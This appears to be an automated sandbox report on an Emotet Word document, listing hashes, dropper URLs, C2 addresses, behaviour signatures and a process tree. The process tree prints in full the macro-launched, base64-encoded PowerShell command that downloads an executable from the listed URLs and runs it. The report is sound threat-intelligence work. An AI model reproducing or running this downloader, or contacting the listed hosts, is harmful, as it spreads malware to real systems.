Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    31/07/2020, 22:59

General

  • Target
    emotet_e3_31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a_2020-07-31__225902._doc.doc
  • Size 174KB
  • Sample200731-21w1vcpgm6
  • SHA256 31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://prolicitar.com.br/privilege/VwWMjYDU/

  • exe.dropper

    http://proreclame.nl/assets/Riw/

  • exe.dropper

    http://www.meltonian.net/Blog/Zaviixl730/

  • exe.dropper

    http://www.mollymoody.com/iRVKRMq/

  • exe.dropper

    https://mwrouse.com/cs2300/qVJaPCy/

Extracted

Family
  • emotet

C2
  • 187.64.128.197:80

  • 198.57.203.63:8080

  • 163.172.107.70:8080

  • 212.112.113.235:80

  • 157.7.164.178:8081

  • 181.167.35.84:80

  • 212.156.133.218:80

  • 185.142.236.163:443

  • 181.143.101.19:8080

  • 75.127.14.170:8080

  • 115.165.3.213:80

  • 190.55.233.156:80

  • 139.59.12.63:8080

  • 144.139.91.187:80

  • 37.70.131.107:80

  • 181.113.229.139:443

  • 41.185.29.128:8080

  • 177.37.81.212:443

  • 5.79.70.250:8080

  • 78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a_2020-07-31__225902._doc.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    PID:3740
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAFAATABCAEkAYQB6AGcAIAA9ACAAJwA3ADUAMQAnADsAJABNAEwASgBUAFoAeQB4AGgAPQAnAFcATABMAFkATQBkAGUAZgAnADsAJABXAEgATgBDAFcAYwBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAUABMAEIASQBhAHoAZwArACcALgBlAHgAZQAnADsAJABWAFQARgBOAEEAdwBqAGkAPQAnAFEAVwBBAEoATgBoAHAAdAAnADsAJABIAFcAVQBTAEMAcgBxAGEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAQwBsAGkARQBuAHQAOwAkAFAASQBMAEQAUQBzAGYAeAA9ACcAaAB0AHQAcAA6AC8ALwBwAHIAbwBsAGkAYwBpAHQAYQByAC4AYwBvAG0ALgBiAHIALwBwAHIAaQB2AGkAbABlAGcAZQAvAFYAdwBXAE0AagBZAEQAVQAvACoAaAB0AHQAcAA6AC8ALwBwAHIAbwByAGUAYwBsAGEAbQBlAC4AbgBsAC8AYQBzAHMAZQB0AHMALwBSAGkAdwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AZQBsAHQAbwBuAGkAYQBuAC4AbgBlAHQALwBCAGwAbwBnAC8AWgBhAHYAaQBpAHgAbAA3ADMAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBsAGwAeQBtAG8AbwBkAHkALgBjAG8AbQAvAGkAUgBWAEsAUgBNAHEALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHcAcgBvAHUAcwBlAC4AYwBvAG0ALwBjAHMAMgAzADAAMAAvAHEAVgBKAGEAUABDAHkALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AUwBCAEIAUQBhAHoAegA9ACcATwBMAFEATgBPAGYAdgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAFQATQBYAFQAZQB6AHMAIABpAG4AIAAkAFAASQBMAEQAUQBzAGYAeAApAHsAdAByAHkAewAkAEgAVwBVAFMAQwByAHEAYQAuACIARABgAG8AVwBuAGwATwBBAGAARABmAGkAYABMAEUAIgAoACQAWQBUAE0AWABUAGUAegBzACwAIAAkAFcASABOAEMAVwBjAGoAcgApADsAJABFAFkATABOAEsAcgBpAGgAPQAnAE8ATgBYAEUASgB0AHAAcgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcASABOAEMAVwBjAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAOQA2ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQAZQAiACgAJABXAEgATgBDAFcAYwBqAHIAKQA7ACQAVQBEAEYATwBBAGIAdQB3AD0AJwBEAEgAVgBPAFAAZwBrAHUAJwA7AGIAcgBlAGEAawA7ACQAWQBJAEsAUwBKAG8AawBtAD0AJwBKAEMAWABYAFcAdAB6AGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBLAEsATABQAHUAagBkAD0AJwBUAFoASQBYAFkAeQBsAHMAJwA=
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:3248
  • C:\Users\Admin\751.exe
    C:\Users\Admin\751.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:3556
    • C:\Windows\SysWOW64\icacls\c_GSM7.exe
      "C:\Windows\SysWOW64\icacls\c_GSM7.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:2664

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2664-12-0x0000000000580000-0x000000000058C000-memory.dmp

        memory/3556-9-0x00000000021A0000-0x00000000021AC000-memory.dmp